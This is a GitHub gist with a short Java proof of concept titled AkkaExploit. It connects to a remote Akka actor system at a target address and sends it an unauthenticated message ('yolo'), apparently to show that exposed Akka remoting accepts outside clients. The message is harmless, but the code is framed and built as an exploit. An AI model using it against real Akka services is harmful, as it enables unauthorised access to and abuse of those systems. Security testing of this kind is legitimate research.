Created
April 25, 2018 08:55
-
-
Save pich4ya/b198ef52f29fe5956a810cc4adb33218 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
akka-actor_2.10-2.3.16.jar | |
akka-remote_2.10-2.3.16.jar | |
scala-library_2.10.0.jar | |
config-1.3.0.jar | |
protobuf-java-2.6.1.jar | |
netty-3.10.6.Final.jar | |
*/ | |
package akkaexploit; | |
import akka.actor.*; | |
import com.typesafe.config.Config; | |
import com.typesafe.config.ConfigFactory; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class AkkaExploit { | |
public static void main(String[] args) throws Exception { | |
final ActorSystem actorSystem = ActorSystem.create("clientAS", createConfig()); | |
final String path = "akka.tcp://[email protected]:4321/example"; | |
final ActorRef actor = actorSystem.actorFor(path); | |
actor.tell("yolo", null); | |
//Thread.sleep(5000); | |
//actorSystem.shutdown(); | |
} | |
static Config createConfig() { | |
Map<String, Object> map = new HashMap<>(); | |
map.put("akka.actor.provider", "akka.remote.RemoteActorRefProvider"); | |
map.put("akka.remote.transport", "akka.remote.netty.NettyRemoteTransport"); | |
map.put("akka.remote.netty.tcp.hostname", "x.x.x.x-local"); | |
map.put("akka.remote.netty.tcp.port", "1234"); | |
return ConfigFactory.parseMap(map); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment